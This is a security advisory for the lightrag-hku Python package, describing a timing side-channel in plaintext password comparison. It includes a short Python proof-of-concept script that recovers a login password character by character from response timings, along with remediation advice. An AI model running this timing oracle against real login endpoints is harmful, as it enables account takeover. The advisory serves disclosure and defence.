GHSA-c759-cx9p-mrwq: Medium severity pip/lightrag-hku vulnerability
Summary When plaintext passwords are stored in AUTHACCOUNTS, the comparison uses Python's == operator which is not constant-time. An attacker with low-latency access can exploit timing differences to recover the password character by character.
Details
python lightrag/api/passwords.py:13-26 def verifypassword(plainpassword: str, storedpassword: str) -> bool: if storedpassword.startswith("{bcrypt}"): ... return bcrypt.checkpw(...) # constant-time OK
return storedpassword == plainpassword # NOT constant-time VULN # Python == short-circuits on first mismatched byte # Timing leaks: password length + individual characters
PoC
python Timing oracle: recover password char-by-char import httpx, time, string
TARGET = "http://<TARGET>:9621/login" USER = "admin"
def measure(pwd: str) -> float: t = time.perfcounter() httpx.post(TARGET, data={"username": USER, "password": pwd}) return time.perfcounter() - t
known = "" for in range(32): best = max(string.printable, key=lambda c: sum(measure(known+c+"A"20) for in range(10))) known += best print(f"Recovered: {known}")
Impact Observable timing discrepancy. Attackers with low-latency access can recover plaintext passwords character by character without triggering brute-force limits. Only affects deployments using unhashed passwords in AUTHACCOUNTS.
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
pip/lightrag-hkuto a version that resolves this vulnerability.Fixed in 1.5.5
Event History
Frequently Asked Questions
Which deployments are exposed to this timing attack?
Deployments are exposed when AUTH_ACCOUNTS stores plaintext passwords. Accounts whose stored passwords use the {bcrypt} format use bcrypt.checkpw instead, which is described as constant-time.
What access does an attacker need to exploit the issue?
An attacker does not need authentication or user interaction, but needs low-latency access to the login endpoint. They can make repeated password attempts and use response timing differences to infer the password length and recover characters incrementally.
What can be done if a patch cannot be applied immediately?
Avoid storing passwords in plaintext in AUTH_ACCOUNTS and use the {bcrypt} password format so verification follows the bcrypt constant-time path.